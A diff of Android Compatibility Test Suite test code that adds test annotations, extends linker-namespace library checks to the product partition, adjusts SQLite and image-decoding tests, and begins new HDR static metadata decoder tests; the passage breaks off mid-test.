diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
index f015181..6a54e57 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -40,6 +40,8 @@
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import com.android.compatibility.common.util.CddTest;
+
@AppModeFull(reason = "Instant apps cannot provide or host app widgets")
public class RequestPinAppWidgetTest extends AppWidgetTestCase {
@@ -59,6 +61,7 @@
setLauncher(mDefaultLauncher);
}
+ @CddTest(requirement="3.8.2/C-2-2")
private void runPinWidgetTest(final String launcherPkg) throws Exception {
setLauncher(launcherPkg + "/" + LAUNCHER_CLASS);
@@ -114,6 +117,7 @@
runPinWidgetTest("android.appwidget.cts.packages.launcher2");
}
+ @CddTest(requirement="3.8.2/C-2-1")
public void verifyIsRequestPinAppWidgetSupported(String launcherPkg, boolean expectedSupport)
throws Exception {
setLauncher(launcherPkg + "/" + LAUNCHER_CLASS);
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index 6af3020..a8320ff 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -23,6 +23,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.platform.test.annotations.AppModeFull;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
@@ -82,6 +83,7 @@
* Make sure "com.android.launcher.action.INSTALL_SHORTCUT" won't be delivered to a manifest
* receiver, even if an intent is targeted to the component.
*/
+ @AppModeFull(reason = "Instant apps don't get to run in the background.")
@Test
@CddTest(requirement="3.5/C-0-6")
public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
@@ -103,7 +105,7 @@
AmUtils.waitForBroadcastIdle();
- // This broadcast should be delivered.
+ // This broadcast should not be delivered.
final String[] UNSUPPORTED_BROADCASTS = new String[]{
"com.android.launcher.action.INSTALL_SHORTCUT",
};
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index d9f144c..2dd0a81 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -45,10 +45,16 @@
// Request all application focuses and abandon them to ensure no active context is present
// when test starts.
+ int[] activeTypes = mManager.getActiveAppTypes();
FocusOwnershipCallback owner = new FocusOwnershipCallback();
- mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner);
- mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_VOICE_COMMAND, owner);
- mManager.abandonAppFocus(owner);
+ for (int i = 0; i < activeTypes.length; i++) {
+ mManager.requestAppFocus(activeTypes[i], owner);
+ owner.waitForOwnershipGrantAndAssert(DEFAULT_WAIT_TIMEOUT_MS, activeTypes[i]);
+ mManager.abandonAppFocus(owner, activeTypes[i]);
+ owner.waitForOwnershipLossAndAssert(
+ DEFAULT_WAIT_TIMEOUT_MS, activeTypes[i]);
+ }
+
}
public void testSetActiveNullListener() throws Exception {
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index dc2c253..616f898 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -22,6 +22,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_USE_AAPT2 := true
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
LOCAL_JNI_SHARED_LIBRARIES := libnativecursorwindow_jni libnativehelper_compat_libc++
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs android.test.mock
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
index 3ab43ee..4d5378c 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
@@ -25,6 +25,7 @@
/**
* Test {@link CursorWindowContentProvider} .
*/
+@SecurityTest
public class ContentProviderCursorWindowTest extends AndroidTestCase {
private static final String TAG = "ContentProviderCursorWindowTest";
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index 2759a54..1dcee00 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -1640,10 +1640,10 @@
}
/**
- * Test that enableWriteAheadLogging is not affected by app's journal mode/synchronous mode
- * settings
+ * Test that enableWriteAheadLogging is not affected by app's journal mode setting,
+ * but app can still control synchronous mode.
*/
- public void testEnableWalOverridesJournalModeSynchronousMode() {
+ public void testEnableWalOverridesJournalModeSyncModePreserved() {
mDatabase.close();
SQLiteDatabase.OpenParams params = new SQLiteDatabase.OpenParams.Builder()
.setJournalMode("DELETE").setSynchronousMode("OFF").build();
@@ -1657,7 +1657,7 @@
String syncMode = DatabaseUtils
.stringForQuery(mDatabase, "PRAGMA synchronous", null);
- assertEquals("1" /* NORMAL */, syncMode);
+ assertEquals("0" /* OFF */, syncMode);
}
/**
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 1ce3706..371d6b6 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -24,6 +24,7 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import android.app.ActivityManager;
import android.content.ContentResolver;
import android.content.Context;
import android.content.res.AssetManager;
@@ -1723,8 +1724,15 @@
}
}
} else {
- // Not decoding to HARDWARE, so we can save RAM in either case.
- assertTrue(byteCount < normalByteCount);
+ // Not decoding to HARDWARE, but |normal| was. Again, if basi6a16
+ // was decoded to 8888, which we can detect by looking at the color
+ // space, no savings are possible.
+ if (resId == R.raw.basi6a16 && !normal.getColorSpace().equals(
+ ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB))) {
+ assertEquals(normalByteCount, byteCount);
+ } else {
+ assertTrue(byteCount < normalByteCount);
+ }
}
}
}
@@ -2209,6 +2217,18 @@
@Test
public void testWarpedDng() {
+ Context context = InstrumentationRegistry.getTargetContext();
+ ActivityManager activityManager = (ActivityManager) context
+ .getSystemService(Context.ACTIVITY_SERVICE);
+ ActivityManager.MemoryInfo info = new ActivityManager.MemoryInfo();
+ activityManager.getMemoryInfo(info);
+
+ // Decoding this image requires a lot of memory. Only attempt if the
+ // device has a total memory of at least 2 Gigs.
+ if (info.totalMem < 2 * 1024 * 1024 * 1024) {
+ return;
+ }
+
String name = "b78120086.dng";
ImageDecoder.Source src = ImageDecoder.createSource(mRes.getAssets(), name);
try {
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 69aec7e..cec2723 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -28,7 +28,7 @@
#include <sys/stat.h>
#include <unistd.h>
-#include <list>
+#include <queue>
#include <string>
#include <unordered_set>
#include <vector>
@@ -41,9 +41,11 @@
#if defined(__LP64__)
static const std::string kSystemLibraryPath = "/system/lib64";
static const std::string kVendorLibraryPath = "/vendor/lib64";
+static const std::string kProductLibraryPath = "/product/lib64";
#else
static const std::string kSystemLibraryPath = "/system/lib";
static const std::string kVendorLibraryPath = "/vendor/lib";
+static const std::string kProductLibraryPath = "/product/lib";
#endif
// This is not the complete list - just a small subset
@@ -67,9 +69,9 @@
"libvorbisidec.so",
};
-static bool is_directory(const std::string& path) {
+static bool is_directory(const char* path) {
struct stat sb;
- if (stat(path.c_str(), &sb) != -1) {
+ if (stat(path, &sb) != -1) {
return S_ISDIR(sb.st_mode);
}
@@ -93,22 +95,19 @@
return err.find("dlopen failed: \"" + library + "\" has unexpected e_machine: ") == 0;
}
-static bool is_library_on_path(const std::vector<std::string>& library_search_paths,
+static bool is_library_on_path(const std::unordered_set<std::string>& library_search_paths,
const std::string& baselib,
const std::string& path) {
- for (const auto& search_path : library_search_paths) {
- if (search_path + "/" + baselib == path) {
- return true;
- }
- }
- return false;
+ std::string tail = '/' + baselib;
+ if (!android::base::EndsWith(path, tail)) return false;
+ return library_search_paths.count(path.substr(0, path.size() - tail.size())) > 0;
}
static bool check_lib(const std::string& path,
- const std::vector<std::string>& library_search_paths,
+ const std::unordered_set<std::string>& library_search_paths,
const std::unordered_set<std::string>& libraries,
std::vector<std::string>* errors) {
- std::unique_ptr<void, int (*)(void*)> handle(dlopen(path.c_str(), RTLD_NOW), dlclose);
+ std::unique_ptr<void, decltype(&dlclose)> handle(dlopen(path.c_str(), RTLD_NOW), dlclose);
// The current restrictions on public libraries:
// - It must exist only in the top level directory of "library_search_paths".
@@ -139,17 +138,17 @@
}
static bool check_path(const std::string& library_path,
- const std::vector<std::string>& library_search_paths,
+ const std::unordered_set<std::string>& library_search_paths,
const std::unordered_set<std::string>& libraries,
std::vector<std::string>* errors) {
bool success = true;
- std::list<std::string> dirs = { library_path };
+ std::queue<std::string> dirs;
+ dirs.push(library_path);
while (!dirs.empty()) {
std::string dir = dirs.front();
- dirs.pop_front();
+ dirs.pop();
- auto dir_deleter = [](DIR* handle) { closedir(handle); };
- std::unique_ptr<DIR, decltype(dir_deleter)> dirp(opendir(dir.c_str()), dir_deleter);
+ std::unique_ptr<DIR, decltype(&closedir)> dirp(opendir(dir.c_str()), closedir);
if (dirp == nullptr) {
errors->push_back("Failed to open " + dir + ": " + strerror(errno));
success = false;
@@ -164,8 +163,8 @@
}
std::string path = dir + "/" + dp->d_name;
- if (is_directory(path)) {
- dirs.push_back(path);
+ if (is_directory(path.c_str())) {
+ dirs.push(path);
} else if (!check_lib(path, library_search_paths, libraries, errors)) {
success = false;
}
@@ -231,7 +230,8 @@
JNIEnv* env,
jclass clazz __attribute__((unused)),
jobjectArray java_system_public_libraries,
- jobjectArray java_vendor_public_libraries) {
+ jobjectArray java_vendor_public_libraries,
+ jobjectArray java_product_public_libraries) {
bool success = true;
std::vector<std::string> errors;
std::string error_msg;
@@ -249,6 +249,13 @@
errors.push_back("Errors in system public library file:" + error_msg);
}
+ std::unordered_set<std::string> product_public_libraries;
+ if (!jobject_array_to_set(env, java_product_public_libraries, &product_public_libraries,
+ &error_msg)) {
+ success = false;
+ errors.push_back("Errors in product public library file:" + error_msg);
+ }
+
// Check the system libraries.
// Check current search path and add the rest of search path configured for
@@ -256,22 +263,22 @@
char default_search_paths[PATH_MAX];
android_get_LD_LIBRARY_PATH(default_search_paths, sizeof(default_search_paths));
-
std::vector<std::string> library_search_paths = android::base::Split(default_search_paths, ":");
+
// Remove everything pointing outside of /system/lib*
- library_search_paths.erase(
- std::remove_if(library_search_paths.begin(),
- library_search_paths.end(),
- [](const std::string& path) {
- return !android::base::StartsWith(path, "/system/lib");
- }),
- library_search_paths.end());
+ std::unordered_set<std::string> system_library_search_paths;
+
+ for (const auto& path : library_search_paths) {
+ if (android::base::StartsWith(path, "/system/lib")) {
+ system_library_search_paths.insert(path);
+ }
+ }
// This path should be tested too - this is because apps may rely on some
// libraries being available in /system/${LIB}/
- library_search_paths.push_back(kSystemLibraryPath);
+ system_library_search_paths.insert(kSystemLibraryPath);
- if (!check_path(kSystemLibraryPath, library_search_paths, system_public_libraries, &errors)) {
+ if (!check_path(kSystemLibraryPath, system_library_search_paths, system_public_libraries, &errors)) {
success = false;
}
@@ -291,6 +298,13 @@
}
}
+ // Check the product libraries, if /product/lib exists.
+ if (is_directory(kProductLibraryPath.c_str())) {
+ if (!check_path(kProductLibraryPath, { kProductLibraryPath }, product_public_libraries, &errors)) {
+ success = false;
+ }
+ }
+
// Check the vendor libraries.
if (!check_path(kVendorLibraryPath, { kVendorLibraryPath }, vendor_public_libraries, &errors)) {
success = false;
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 72acf64..a30db52 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -37,8 +37,12 @@
class LinkerNamespacesHelper {
private final static String PUBLIC_CONFIG_DIR = "/system/etc/";
+ private final static String PRODUCT_CONFIG_DIR = "/product/etc/";
private final static String SYSTEM_CONFIG_FILE = PUBLIC_CONFIG_DIR + "public.libraries.txt";
- private final static String OEM_CONFIG_FILE_PATTERN = "public\\.libraries-([A-Za-z0-9-_]+)\\.txt";
+ private final static Pattern EXTENSION_CONFIG_FILE_PATTERN = Pattern.compile(
+ "public\\.libraries-([A-Za-z0-9\\-_]+)\\.txt");
+ private final static Pattern EXTENSION_LIBRARY_FILE_PATTERN = Pattern.compile(
+ "lib[^.]+\\.([A-Za-z0-9\\-_]+)\\.so");
private final static String VENDOR_CONFIG_FILE = "/vendor/etc/public.libraries.txt";
private final static String[] PUBLIC_SYSTEM_LIBRARIES = {
"libaaudio.so",
@@ -104,6 +108,37 @@
return libs;
}
+ private static String readExtensionConfigFiles(String configDir, List<String> libs) throws IOException {
+ File[] configFiles = new File(configDir).listFiles(
+ new FilenameFilter() {
+ public boolean accept(File dir, String name) {
+ return EXTENSION_CONFIG_FILE_PATTERN.matcher(name).matches();
+ }
+ });
+ if (configFiles == null) return null;
+
+ for (File configFile: configFiles) {
+ String fileName = configFile.toPath().getFileName().toString();
+ Matcher configMatcher = EXTENSION_CONFIG_FILE_PATTERN.matcher(fileName);
+ if (configMatcher.matches()) {
+ String companyName = configMatcher.group(1);
+ // a lib in public.libraries-acme.txt should be
+ // libFoo.acme.so
+ List<String> libNames = readPublicLibrariesFile(configFile);
+ for (String lib : libNames) {
+ Matcher libMatcher = EXTENSION_LIBRARY_FILE_PATTERN.matcher(lib);
+ if (libMatcher.matches() && libMatcher.group(1).equals(companyName)) {
+ libs.add(lib);
+ } else {
+ return "Library \"" + lib + "\" in " + configFile.toString()
+ + " must have company name " + companyName + " as suffix.";
+ }
+ }
+ }
+ }
+ return null;
+ }
+
public static String runAccessibilityTest() throws IOException {
List<String> systemLibs = new ArrayList<>();
@@ -116,44 +151,18 @@
// Check if public.libraries.txt contains libs other than the
// public system libs (NDK libs).
- for (String lib : readPublicLibrariesFile(new File(SYSTEM_CONFIG_FILE))) {
- if (!systemLibs.contains(lib)) {
- return "Library \"" + lib + "\" in " + SYSTEM_CONFIG_FILE
- + " is not an allowed system lib.";
- }
- }
-
- Pattern oemConfigFilePattern = Pattern.compile(OEM_CONFIG_FILE_PATTERN);
- File[] oemConfigFiles = new File(PUBLIC_CONFIG_DIR).listFiles(
- new FilenameFilter() {
- public boolean accept(File dir, String name) {
- return oemConfigFilePattern.matcher(name).matches();
- }
- });
List<String> oemLibs = new ArrayList<>();
- for (File configFile : oemConfigFiles) {
- String fileName = configFile.toPath().getFileName().toString();
- Matcher matcher = oemConfigFilePattern.matcher(fileName);
- if (matcher.matches()) {
- String oemName = matcher.group(1);
- // a lib in /system/etc/public.libraries-acme.txt should be
- // libFoo.acme.so
- Pattern libNamePattern = Pattern.compile("lib.+\\." + oemName + "\\.so");
- List<String> libs = readPublicLibrariesFile(configFile);
- for (String lib : libs) {
- if (libNamePattern.matcher(lib).matches()) {
- oemLibs.add(lib);
- } else {
- return "OEM library \"" + lib + "\" in " + configFile.toString()
- + " must have company name " + oemName + " as suffix.";
- }
- }
- }
- }
+ String oemLibsError = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, oemLibs);
+ if (oemLibsError != null) return oemLibsError;
// OEM libs that passed above tests are available to Android app via JNI
systemLibs.addAll(oemLibs);
+ // PRODUCT libs that passed are also available
+ List<String> productLibs = new ArrayList<>();
+ String productLibsError = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, productLibs);
+ if (productLibsError != null) return productLibsError;
+
List<String> vendorLibs = readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE));
// Make sure that the libs in grey-list are not exposed to apps. In fact, it
@@ -172,11 +181,13 @@
}
return runAccessibilityTestImpl(systemLibs.toArray(new String[systemLibs.size()]),
- vendorLibs.toArray(new String[vendorLibs.size()]));
+ vendorLibs.toArray(new String[vendorLibs.size()]),
+ productLibs.toArray(new String[productLibs.size()]));
}
private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
- String[] publicVendorLibs);
+ String[] publicVendorLibs,
+ String[] publicProductLibs);
private static void invokeIncrementGlobal(Class<?> clazz) throws Exception {
clazz.getMethod("incrementGlobal").invoke(null);
diff --git a/tests/tests/jvmti/attaching/AndroidTest.xml b/tests/tests/jvmti/attaching/AndroidTest.xml
index 5723956..0e927a3 100644
--- a/tests/tests/jvmti/attaching/AndroidTest.xml
+++ b/tests/tests/jvmti/attaching/AndroidTest.xml
@@ -27,4 +27,8 @@
<option name="package" value="android.jmvti.attaching.cts" />
<option name="runtime-hint" value="18s" />
</test>
+
+ <!-- Controller that will skip the module if a native bridge situation is detected -->
+ <!-- For example: module wants to run arm32 and device is x86 -->
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
</configuration>
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index 4e4257e..8297a75 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -29,7 +29,7 @@
LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util ctstestrunner apache-commons-math
+ compatibility-device-util ctstestrunner apache-commons-math platform-test-annotations
LOCAL_SRC_FILES := $(call all-java-files-under, src/android/location/cts) \
$(call all-proto-files-under, protos)
@@ -48,7 +48,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_JAVA_LIBRARIES := telephony-common android.test.base.stubs
diff --git a/tests/tests/location/AndroidManifest.xml b/tests/tests/location/AndroidManifest.xml
index 6e3bbf1..1b85f8f 100644
--- a/tests/tests/location/AndroidManifest.xml
+++ b/tests/tests/location/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.location.cts">
+ package="android.location.cts"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<application>
diff --git a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
index 7ebb04a..1c6ac6c 100644
--- a/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
+++ b/tests/tests/location/src/android/location/cts/EmergencyCallWifiTest.java
@@ -21,10 +21,8 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.net.wifi.ScanResult;
-import android.net.wifi.WifiInfo;
-import android.telephony.TelephonyManager;
import android.net.wifi.WifiManager;
-import android.test.AndroidTestCase;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import java.io.IOException;
@@ -63,6 +61,7 @@
mWifiScanReceiver = new WifiScanReceiver();
}
+ @AppModeFull(reason = "Requires registering a broadcast receiver")
public void testWifiScan() throws Exception {
mContext.registerReceiver(mWifiScanReceiver, new IntentFilter(
WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
diff --git a/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java b/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java
index 7a6c152..5edca64 100644
--- a/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssMeasurementWhenNoLocationTest.java
@@ -19,6 +19,7 @@
import android.location.GnssMeasurement;
import android.location.GnssMeasurementsEvent;
import android.location.GpsStatus;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import java.util.Arrays;
@@ -90,6 +91,7 @@
/**
* Test for GPS measurements before a location fix.
*/
+ @AppModeFull(reason = "Requires use of extra LocationManager commands")
public void testGnssMeasurementWhenNoLocation() throws Exception {
// Checks if GPS hardware feature is present, skips test (pass) if not,
// and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
diff --git a/tests/tests/location/src/android/location/cts/LocationManagerTest.java b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
index 3af213e..d58ebb6 100644
--- a/tests/tests/location/src/android/location/cts/LocationManagerTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationManagerTest.java
@@ -38,6 +38,7 @@
import android.os.HandlerThread;
import android.os.Looper;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.test.UiThreadTest;
@@ -1046,6 +1047,7 @@
mManager.unregisterGnssStatusCallback(callback);
}
+ @AppModeFull(reason = "Requires use of extra LocationManager commands")
public void testSendExtraCommand() {
// this test assumes TEST_MOCK_PROVIDER_NAME was created in setUp.
assertNotNull(mManager.getProvider(TEST_MOCK_PROVIDER_NAME));
diff --git a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
index 2e84264..96c41aa 100644
--- a/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
+++ b/tests/tests/location2/src/android/location2/cts/LocationManagerTest.java
@@ -31,6 +31,7 @@
import android.os.HandlerThread;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.test.InstrumentationTestCase;
import android.test.UiThreadTest;
import android.util.Log;
@@ -260,6 +261,7 @@
}
}
+ @AppModeFull
public void testSendExtraCommand() {
addTestProvider(LocationManager.NETWORK_PROVIDER, Criteria.ACCURACY_COARSE, true, false, true);
addTestProvider(LocationManager.GPS_PROVIDER, Criteria.ACCURACY_FINE, false, true, false);
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 6758a4d..dbec359 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -71,6 +71,7 @@
# do not compress VP9 video files
LOCAL_AAPT_FLAGS := -0 .vp9
LOCAL_AAPT_FLAGS += -0 .ts
+LOCAL_AAPT_FLAGS += -0 .heic
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/media/res/raw/video_1280x720_hevc_hdr10_static_3mbps.mp4 b/tests/tests/media/res/raw/video_1280x720_hevc_hdr10_static_3mbps.mp4
new file mode 100644
index 0000000..17150d4
--- /dev/null
+++ b/tests/tests/media/res/raw/video_1280x720_hevc_hdr10_static_3mbps.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/video_1280x720_vp9_hdr_static_3mbps.mkv b/tests/tests/media/res/raw/video_1280x720_vp9_hdr_static_3mbps.mkv
new file mode 100644
index 0000000..40677fd
--- /dev/null
+++ b/tests/tests/media/res/raw/video_1280x720_vp9_hdr_static_3mbps.mkv
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 954c331..fcf4d38 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -270,6 +270,9 @@
}
public void testCheckingZenModeBlockDoesNotRequireNotificationPolicyAccess() throws Exception {
+ if (!mSupportNotificationPolicyAccess) {
+ return;
+ }
try {
// set zen mode to priority only, so playSoundEffect will check notification policy
Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index aae53fc..4202e32 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -27,6 +27,7 @@
import android.media.Image;
import android.media.AudioManager;
import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
import android.media.MediaCodecList;
import android.media.MediaCodecInfo;
import android.media.MediaCodecInfo.CodecCapabilities;
@@ -50,7 +51,10 @@
import java.util.Arrays;
import java.util.List;
import java.util.zip.CRC32;
+import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
import static android.media.MediaCodecInfo.CodecProfileLevel.*;
@@ -694,6 +698,179 @@
}
}
+ public void testVp9HdrStaticMetadata() throws Exception {
+ final String staticInfo =
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42" +
+ "40 e8 03 64 00 e8 03 2c 01 " ;
+ testHdrStaticMetadata(R.raw.video_1280x720_vp9_hdr_static_3mbps,
+ staticInfo, true /*metadataInContainer*/);
+ }
+
+ public void testH265HDR10StaticMetadata() throws Exception {
+ final String staticInfo =
+ "00 c2 33 c4 86 4c 1d b8 0b d0 84 80 3e 13 3d 42" +
+ "40 e8 03 00 00 e8 03 90 01 " ;
+ testHdrStaticMetadata(R.raw.video_1280x720_hevc_hdr10_static_3mbps,
+ staticInfo, false /*metadataInContainer*/);
+ }
+
+ private void testHdrStaticMetadata(int res, String pattern, boolean metadataInContainer)
+ throws Exception {
+ AssetFileDescriptor infd = null;
+ MediaExtractor extractor = null;
+
+ try {
+ infd = mResources.openRawResourceFd(res);
+ extractor = new MediaExtractor();
+ extractor.setDataSource(infd.getFileDescriptor(),
+ infd.getStartOffset(), infd.getLength());
+
+ MediaFormat format = null;
+ int trackIndex = -1;
+ for (int i = 0; i < extractor.getTrackCount(); i++) {
+ format = extractor.getTrackFormat(i);
+ if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+ trackIndex = i;
+ break;
+ }
+ }
+
+ assertTrue("Extractor failed to extract video track",
+ format != null && trackIndex >= 0);
+ if (metadataInContainer) {
+ verifyHdrStaticInfo("Extractor failed to extract static info", format, pattern);
+ }
+
+ extractor.selectTrack(trackIndex);
+ Log.v(TAG, "format " + format);
+
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ // setting profile and level
+ if (MediaFormat.MIMETYPE_VIDEO_HEVC.equals(mime)) {
+ assertEquals("Extractor set wrong profile",
+ MediaCodecInfo.CodecProfileLevel.HEVCProfileMain10HDR10,
+ format.getInteger(MediaFormat.KEY_PROFILE));
+ } else if (MediaFormat.MIMETYPE_VIDEO_VP9.equals(mime)) {
+ // The muxer might not have put VP9 CSD in the mkv, we manually patch
+ // it here so that we only test HDR when decoder supports it.
+ format.setInteger(MediaFormat.KEY_PROFILE,
+ MediaCodecInfo.CodecProfileLevel.VP9Profile2HDR);
+ } else {
+ fail("Codec " + mime + " shouldn't be tested with this test!");
+ }
+ String[] decoderNames = MediaUtils.getDecoderNames(format);
+
+ if (decoderNames == null || decoderNames.length == 0) {
+ MediaUtils.skipTest("No video codecs supports HDR");
+ return;
+ }
+
+ final Surface surface = getActivity().getSurfaceHolder().getSurface();
+ final MediaExtractor finalExtractor = extractor;
+
+ for (String name : decoderNames) {
+ Log.d(TAG, "Testing candicate decoder " + name);
+ CountDownLatch latch = new CountDownLatch(1);
+ extractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+
+ MediaCodec decoder = MediaCodec.createByCodecName(name);
+ decoder.setCallback(new MediaCodec.Callback() {
+ boolean mInputEOS;
+ boolean mOutputReceived;
+
+ @Override
+ public void onOutputBufferAvailable(
+ MediaCodec codec, int index, BufferInfo info) {
+ if (mOutputReceived) {
+ return;
+ }
+
+ MediaFormat bufferFormat = codec.getOutputFormat(index);
+ Log.i(TAG, "got output buffer: format " + bufferFormat);
+
+ codec.releaseOutputBuffer(index, false);
+ verifyHdrStaticInfo("Output buffer has wrong static info",
+ bufferFormat, pattern);
+ mOutputReceived = true;
+ latch.countDown();
+ }
+
+ @Override
+ public void onInputBufferAvailable(MediaCodec codec, int index) {
+ // keep queuing until intput EOS, or first output buffer received.
+ if (mInputEOS || mOutputReceived) {
+ return;
+ }
+
+ ByteBuffer inputBuffer = codec.getInputBuffer(index);
+
+ if (finalExtractor.getSampleTrackIndex() == -1) {
+ codec.queueInputBuffer(
+ index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+ mInputEOS = true;
+ } else {
+ int size = finalExtractor.readSampleData(inputBuffer, 0);
+ long timestamp = finalExtractor.getSampleTime();
+ finalExtractor.advance();
+ codec.queueInputBuffer(index, 0, size, timestamp, 0);
+ }
+ }
+
+ @Override
+ public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+ Log.i(TAG, "got codec exception", e);
+ fail("received codec error during decode" + e);
+ }
+
+ @Override
+ public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+ Log.i(TAG, "got output format: " + format);
+ verifyHdrStaticInfo("Output format has wrong static info",
+ format, pattern);
+ }
+ });
